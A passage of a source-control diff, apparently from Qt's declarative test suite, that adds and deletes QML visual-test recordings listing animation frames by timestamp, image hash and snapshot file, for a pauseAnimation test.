"a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6320 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6336 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6352 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6368 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 6384 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6400 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6416 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.qml b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.qml deleted file mode 100644 index 73c6542..0000000 --- a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.qml +++ /dev/null @@ -1,1619 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 32 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 48 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 64 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 80 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 96 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 112 - hash: "336d31586171f22d541b989d24b95cbb" - } - Frame { - msec: 128 - hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" - } - Frame { - msec: 144 - hash: "ef8941674cb61f54853dc33652bb854e" - } - Frame { - msec: 160 - hash: "b3f4a2165ec1ee971542b8ef89656cea" - } - Frame { - msec: 176 - hash: "af3120fe262d2489c0ed33fbbee1549f" - } - Frame { - msec: 192 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 208 - hash: "21f0b0437a999bbde66a913032d495c2" - } - Frame { - msec: 224 - hash: "0809d32d5bc1bfce199b1f39a1c68d4f" - } - Frame { - msec: 240 - hash: "022137587b39f5123835482178a1f1cf" - } - Frame { - msec: 256 - hash: "97566ce9558d13ea0780bce233097b27" - } - Frame { - msec: 272 - hash: "96d79b07da105b7f631ed61582b26f7e" - } - Frame { - msec: 288 - hash: "f4732ff2df93fe67cb850dec34184924" - } - Frame { - msec: 304 - hash: "054e6e52f74a3e24f04e6ad0071f79f8" - } - Frame { - msec: 320 - hash: "f541af93a9fde62e4bd1c91d30f91e65" - } - Frame { - msec: 336 - hash: "c4f844ee71f23635bb3ec7375f6a134f" - } - Frame { - msec: 352 - hash: "3e52e06db2bf78762bb9816fe6b105d9" - } - Frame { - msec: 368 - hash: "d9604be23a91327e6ab454609a9d4a13" - } - Frame { - msec: 384 - hash: "dc98a9bdd99367c1e9b838d4be489dcc" - } - Frame { - msec: 400 - hash: "e87b00bfc2c2a75a4234ec02a057ad3a" - } - Frame { - msec: 416 - hash: "5be4f5c67941efb6fcea363c79f1e321" - } - Frame { - msec: 432 - hash: "6cc9de62a0c8fa5e42eac1b01e99ac32" - } - Frame { - msec: 448 - hash: "62a7133012348f2ec3a388fb685ecc3f" - } - Frame { - msec: 464 - hash: "4ac43a03cc6f2020ab5f894d704092ac" - } - Frame { - msec: 480 - hash: "c1a7b7d6d64ac5584c073c2881290696" - } - Frame { - msec: 496 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 512 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 528 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 544 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 560 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 576 - hash: "c1a7b7d6d64ac5584c073c2881290696" - } - Frame { - msec: 592 - hash: "c1a7b7d6d64ac5584c073c2881290696" - } - Frame { - msec: 608 - hash: "4ac43a03cc6f2020ab5f894d704092ac" - } - Frame { - msec: 624 - hash: "4ac43a03cc6f2020ab5f894d704092ac" - } - Frame { - msec: 640 - hash: "ffd39c1122fe2f7877ef30591b539b40" - } - Frame { - msec: 656 - hash: "62a7133012348f2ec3a388fb685ecc3f" - } - Frame { - msec: 672 - hash: "45281a70021f81dbef30334b1480da1b" - } - Frame { - msec: 688 - hash: "6cc9de62a0c8fa5e42eac1b01e99ac32" - } - Frame { - msec: 704 - hash: "79ec710576427df73dd03f39fba6e2eb" - } - Frame { - msec: 720 - hash: "5be4f5c67941efb6fcea363c79f1e321" - } - Frame { - msec: 736 - hash: "7d9096b1eb940c82a37baf39ef3ccf3e" - } - Frame { - msec: 752 - hash: "e87b00bfc2c2a75a4234ec02a057ad3a" - } - Frame { - msec: 768 - hash: "da60100dc55023c3bab367d97c8f6a85" - } - Frame { - msec: 784 - hash: "dc98a9bdd99367c1e9b838d4be489dcc" - } - Frame { - msec: 800 - hash: "3f869538028a09020d5e8f528f4fb119" - } - Frame { - msec: 816 - hash: "9650fd0364c01b11e4f5dcce51d008af" - } - Frame { - msec: 832 - hash: "2cb09d9655ecc30ae6a591b28c0d355c" - } - Frame { - msec: 848 - hash: "4db9bc6c11caf1d77794c2eabb62a44e" - } - Frame { - msec: 864 - hash: "ce2b5dd7418868acf86fea6ad19cc0c5" - } - Frame { - msec: 880 - hash: "7c27ef654e645679c90520d6cf00b0c4" - } - Frame { - msec: 896 - hash: "ab3e211df3ef7f5f7a8d712edc891c0f" - } - Frame { - msec: 912 - hash: "19d2ae617a49b57dd012677e2834469c" - } - Frame { - msec: 928 - hash: "5025eb75c88f0760f637e0342b7f88a2" - } - Frame { - msec: 944 - hash: "005acbef952a8ee536e6308a48223e65" - } - Frame { - msec: 960 - image: "pauseAnimation.0.png" - } - Frame { - msec: 976 - hash: "5f18a81707f23d377e81a27c1fc41ce9" - } - Frame { - msec: 992 - hash: "bcc35497884c158396c7f60759d1fda4" - } - Frame { - msec: 1008 - hash: "7a4528b000a4ea142d1c77407fa1f581" - } - Frame { - msec: 1024 - hash: "ba967a7d810a4531e577e5f6bd2def33" - } - Frame { - msec: 1040 - hash: "f5afd9cf8ffe27e9992454b9e68688cb" - } - Frame { - msec: 1056 - hash: "51d475c7f64a86d3a18fb115297a7b6b" - } - Frame { - msec: 1072 - hash: "49f5d6fd45c195a8d245b7fefc1277ab" - } - Frame { - msec: 1088 - hash: "f9b0b278659e3a0f78611e6b7f0f2176" - } - Frame { - msec: 1104 - hash: "0809d32d5bc1bfce199b1f39a1c68d4f" - } - Frame { - msec: 1120 - hash: "b7208d103b63a936dff8dd8ed224237f" - } - Frame { - msec: 1136 - hash: "a57c81049b0dc68090ec7c3327b9922c" - } - Frame { - msec: 1152 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 1168 - hash: "af3120fe262d2489c0ed33fbbee1549f" - } - Frame { - msec: 1184 - hash: "0c20d12464abbdc45041ea5d9f2719b1" - } - Frame { - msec: 1200 - hash: "dd60cbaff6f34027474e92315dbc0ebc" - } - Frame { - msec: 1216 - hash: "336d31586171f22d541b989d24b95cbb" - } - Frame { - msec: 1232 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 1248 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 1264 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 1280 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 1296 - hash: "336d31586171f22d541b989d24b95cbb" - } - Frame { - msec: 1312 - hash: "f0d8132489c2f2ef760e905b3c093726" - } - Frame { - msec: 1328 - hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" - } - Frame { - msec: 1344 - hash: "dd60cbaff6f34027474e92315dbc0ebc" - } - Frame { - msec: 1360 - hash: "ef8941674cb61f54853dc33652bb854e" - } - Frame { - msec: 1376 - hash: "bc426fb7c31751665b0d3f16e2cb0173" - } - Frame { - msec: 1392 - hash: "0c20d12464abbdc45041ea5d9f2719b1" - } - Frame { - msec: 1408 - hash: "53ae93140252373eaa4d9da73756bd8e" - } - Frame { - msec: 1424 - hash: "721d7061811b5439c2e8e395917494bc" - } - Frame { - msec: 1440 - hash: "af3120fe262d2489c0ed33fbbee1549f" - } - Frame { - msec: 1456 - hash: "a8b624ebfc9ab713d1ce55f318a6e90d" - } - Frame { - msec: 1472 - hash: "a88a8129259f86df5a73addc3649ad37" - } - Frame { - msec: 1488 - hash: "a88a8129259f86df5a73addc3649ad37" - } - Frame { - msec: 1504 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 1520 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 1536 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 1552 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 1568 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 1584 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 1600 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 1616 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 1632 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 1648 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 1664 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 1680 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 1696 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 1712 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 1728 - hash: "a88a8129259f86df5a73addc3649ad37" - } - Frame { - msec: 1744 - hash: "a8b624ebfc9ab713d1ce55f318a6e90d" - } - Frame { - msec: 1760 - hash: "a8b624ebfc9ab713d1ce55f318a6e90d" - } - Frame { - msec: 1776 - hash: "af3120fe262d2489c0ed33fbbee1549f" - } - Frame { - msec: 1792 - hash: "721d7061811b5439c2e8e395917494bc" - } - Frame { - msec: 1808 - hash: "b3f4a2165ec1ee971542b8ef89656cea" - } - Frame { - msec: 1824 - hash: "0c20d12464abbdc45041ea5d9f2719b1" - } - Frame { - msec: 1840 - hash: "bc426fb7c31751665b0d3f16e2cb0173" - } - Frame { - msec: 1856 - hash: "ef8941674cb61f54853dc33652bb854e" - } - Frame { - msec: 1872 - hash: "dd60cbaff6f34027474e92315dbc0ebc" - } - Frame { - msec: 1888 - hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" - } - Frame { - msec: 1904 - hash: "e74fe4a6bd92cbe8629c8bc8a870104d" - } - Frame { - msec: 1920 - image: "pauseAnimation.1.png" - } - Frame { - msec: 1936 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 1952 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 1968 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 1984 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2000 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 2016 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 2032 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 2048 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 2064 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 2080 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 2096 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2112 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2128 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2144 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2160 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2176 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2192 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2208 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2224 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 2240 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 2256 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 2272 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 2288 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 2304 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 2320 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2336 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2352 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2368 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2384 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2400 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2416 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 2432 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 2448 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2464 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2480 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2496 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2512 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2528 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2544 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2560 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2576 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2592 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2608 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2624 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2640 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2656 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2672 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2688 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2704 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2720 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2736 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2752 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2768 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2784 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2800 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2816 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2832 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2848 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2864 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2880 - image: "pauseAnimation.2.png" - } - Frame { - msec: 2896 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2912 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2928 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2944 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2960 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2976 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2992 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3008 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3024 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3040 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3056 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3072 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3088 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3104 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3120 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3136 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3152 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3168 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3184 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3200 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3216 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3232 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3248 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3264 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3280 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3296 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3312 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3328 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3344 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3360 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3376 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3392 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3408 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3424 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3440 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3456 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3472 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3488 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3504 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3520 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3536 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3552 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 3568 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 3584 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 3600 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 3616 - hash: "e74fe4a6bd92cbe8629c8bc8a870104d" - } - Frame { - msec: 3632 - hash: "e11455d4e23a5a865e222a7aba4ba4f9" - } - Frame { - msec: 3648 - hash: "8757668e56be6449ec375f0b8fed1be3" - } - Frame { - msec: 3664 - hash: "53ae93140252373eaa4d9da73756bd8e" - } - Frame { - msec: 3680 - hash: "a88a8129259f86df5a73addc3649ad37" - } - Frame { - msec: 3696 - hash: "630d90eef2673a69e8ebc4ef1ba40e81" - } - Frame { - msec: 3712 - hash: "b7208d103b63a936dff8dd8ed224237f" - } - Frame { - msec: 3728 - hash: "1516c3547c7cf64832b3bc7da7c44521" - } - Frame { - msec: 3744 - hash: "49f5d6fd45c195a8d245b7fefc1277ab" - } - Frame { - msec: 3760 - hash: "f5afd9cf8ffe27e9992454b9e68688cb" - } - Frame { - msec: 3776 - hash: "7a4528b000a4ea142d1c77407fa1f581" - } - Frame { - msec: 3792 - hash: "5f18a81707f23d377e81a27c1fc41ce9" - } - Frame { - msec: 3808 - hash: "005acbef952a8ee536e6308a48223e65" - } - Frame { - msec: 3824 - hash: "85c135ef72d3d25658a3663e69ffb7c2" - } - Frame { - msec: 3840 - image: "pauseAnimation.3.png" - } - Frame { - msec: 3856 - hash: "20258f07c613958c32f783466771391a" - } - Frame { - msec: 3872 - hash: "9650fd0364c01b11e4f5dcce51d008af" - } - Frame { - msec: 3888 - hash: "f340cdf60c6d4c29d26b7202a093ec70" - } - Frame { - msec: 3904 - hash: "d754d35d0793f9f7d4f6249a874e4c45" - } - Frame { - msec: 3920 - hash: "79ec710576427df73dd03f39fba6e2eb" - } - Frame { - msec: 3936 - hash: "45281a70021f81dbef30334b1480da1b" - } - Frame { - msec: 3952 - hash: "ffd39c1122fe2f7877ef30591b539b40" - } - Frame { - msec: 3968 - hash: "4ac43a03cc6f2020ab5f894d704092ac" - } - Frame { - msec: 3984 - hash: "c1a7b7d6d64ac5584c073c2881290696" - } - Frame { - msec: 4000 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 4016 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 4032 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 4048 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 4064 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 4080 - hash: "c1a7b7d6d64ac5584c073c2881290696" - } - Frame { - msec: 4096 - hash: "c1a7b7d6d64ac5584c073c2881290696" - } - Frame { - msec: 4112 - hash: "4ac43a03cc6f2020ab5f894d704092ac" - } - Frame { - msec: 4128 - hash: "4ac43a03cc6f2020ab5f894d704092ac" - } - Frame { - msec: 4144 - hash: "ffd39c1122fe2f7877ef30591b539b40" - } - Frame { - msec: 4160 - hash: "62a7133012348f2ec3a388fb685ecc3f" - } - Frame { - msec: 4176 - hash: "45281a70021f81dbef30334b1480da1b" - } - Frame { - msec: 4192 - hash: "6cc9de62a0c8fa5e42eac1b01e99ac32" - } - Frame { - msec: 4208 - hash: "79ec710576427df73dd03f39fba6e2eb" - } - Frame { - msec: 4224 - hash: "5be4f5c67941efb6fcea363c79f1e321" - } - Frame { - msec: 4240 - hash: "7d9096b1eb940c82a37baf39ef3ccf3e" - } - Frame { - msec: 4256 - hash: "e87b00bfc2c2a75a4234ec02a057ad3a" - } - Frame { - msec: 4272 - hash: "da60100dc55023c3bab367d97c8f6a85" - } - Frame { - msec: 4288 - hash: "dc98a9bdd99367c1e9b838d4be489dcc" - } - Frame { - msec: 4304 - hash: "b2c778a5eff5f01edc54f03d8b4de8c7" - } - Frame { - msec: 4320 - hash: "9650fd0364c01b11e4f5dcce51d008af" - } - Frame { - msec: 4336 - hash: "2cb09d9655ecc30ae6a591b28c0d355c" - } - Frame { - msec: 4352 - hash: "4db9bc6c11caf1d77794c2eabb62a44e" - } - Frame { - msec: 4368 - hash: "ce2b5dd7418868acf86fea6ad19cc0c5" - } - Frame { - msec: 4384 - hash: "c4f844ee71f23635bb3ec7375f6a134f" - } - Frame { - msec: 4400 - hash: "4e1fda8a0495ef968c1cffb1257426d7" - } - Frame { - msec: 4416 - hash: "19d2ae617a49b57dd012677e2834469c" - } - Frame { - msec: 4432 - hash: "f438e8d2c16b5de677924c8411219b19" - } - Frame { - msec: 4448 - hash: "005acbef952a8ee536e6308a48223e65" - } - Frame { - msec: 4464 - hash: "87b71778d52cd8563d171151d4d32407" - } - Frame { - msec: 4480 - hash: "691cd8bf5c7802ff6c5024827a379fc6" - } - Frame { - msec: 4496 - hash: "ab442c0173c3d221b6782d28001dac77" - } - Frame { - msec: 4512 - hash: "6f886d4538704c2fad4d84c68214109f" - } - Frame { - msec: 4528 - hash: "56d39f233fae41c60499d6161f891cbc" - } - Frame { - msec: 4544 - hash: "95d987c3fd1352fb81c42c63634fe53b" - } - Frame { - msec: 4560 - hash: "96dc84c0c548021910e7c5b580179054" - } - Frame { - msec: 4576 - hash: "ddb71cbd57f6e43744d533d4f72b08db" - } - Frame { - msec: 4592 - hash: "f7ab4b197bea455b22f259913438d207" - } - Frame { - msec: 4608 - hash: "2ad64cb01c9d50e0118d5ece0a644df2" - } - Frame { - msec: 4624 - hash: "6579681c59dd571df0ee4429d74fb5c7" - } - Frame { - msec: 4640 - hash: "630d90eef2673a69e8ebc4ef1ba40e81" - } - Frame { - msec: 4656 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 4672 - hash: "721d7061811b5439c2e8e395917494bc" - } - Frame { - msec: 4688 - hash: "bc426fb7c31751665b0d3f16e2cb0173" - } - Frame { - msec: 4704 - hash: "e11455d4e23a5a865e222a7aba4ba4f9" - } - Frame { - msec: 4720 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 4736 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 4752 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 4768 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 4784 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 4800 - image: "pauseAnimation.4.png" - } - Frame { - msec: 4816 - hash: "f0d8132489c2f2ef760e905b3c093726" - } - Frame { - msec: 4832 - hash: "e11455d4e23a5a865e222a7aba4ba4f9" - } - Frame { - msec: 4848 - hash: "dd60cbaff6f34027474e92315dbc0ebc" - } - Frame { - msec: 4864 - hash: "8757668e56be6449ec375f0b8fed1be3" - } - Frame { - msec: 4880 - hash: "bc426fb7c31751665b0d3f16e2cb0173" - } - Frame { - msec: 4896 - hash: "b3f4a2165ec1ee971542b8ef89656cea" - } - Frame { - msec: 4912 - hash: "53ae93140252373eaa4d9da73756bd8e" - } - Frame { - msec: 4928 - hash: "721d7061811b5439c2e8e395917494bc" - } - Frame { - msec: 4944 - hash: "af3120fe262d2489c0ed33fbbee1549f" - } - Frame { - msec: 4960 - hash: "a8b624ebfc9ab713d1ce55f318a6e90d" - } - Frame { - msec: 4976 - hash: "a88a8129259f86df5a73addc3649ad37" - } - Frame { - msec: 4992 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 5008 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 5024 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 5040 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 5056 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5072 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5088 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5104 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5120 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5136 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5152 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 5168 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 5184 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 5200 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 5216 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 5232 - hash: "a88a8129259f86df5a73addc3649ad37" - } - Frame { - msec: 5248 - hash: "a8b624ebfc9ab713d1ce55f318a6e90d" - } - Frame { - msec: 5264 - hash: "af3120fe262d2489c0ed33fbbee1549f" - } - Frame { - msec: 5280 - hash: "721d7061811b5439c2e8e395917494bc" - } - Frame { - msec: 5296 - hash: "53ae93140252373eaa4d9da73756bd8e" - } - Frame { - msec: 5312 - hash: "b3f4a2165ec1ee971542b8ef89656cea" - } - Frame { - msec: 5328 - hash: "0c20d12464abbdc45041ea5d9f2719b1" - } - Frame { - msec: 5344 - hash: "8757668e56be6449ec375f0b8fed1be3" - } - Frame { - msec: 5360 - hash: "ef8941674cb61f54853dc33652bb854e" - } - Frame { - msec: 5376 - hash: "e11455d4e23a5a865e222a7aba4ba4f9" - } - Frame { - msec: 5392 - hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" - } - Frame { - msec: 5408 - hash: "e74fe4a6bd92cbe8629c8bc8a870104d" - } - Frame { - msec: 5424 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5440 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 5456 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 5472 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 5488 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5504 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 5520 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 5536 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 5552 - hash: 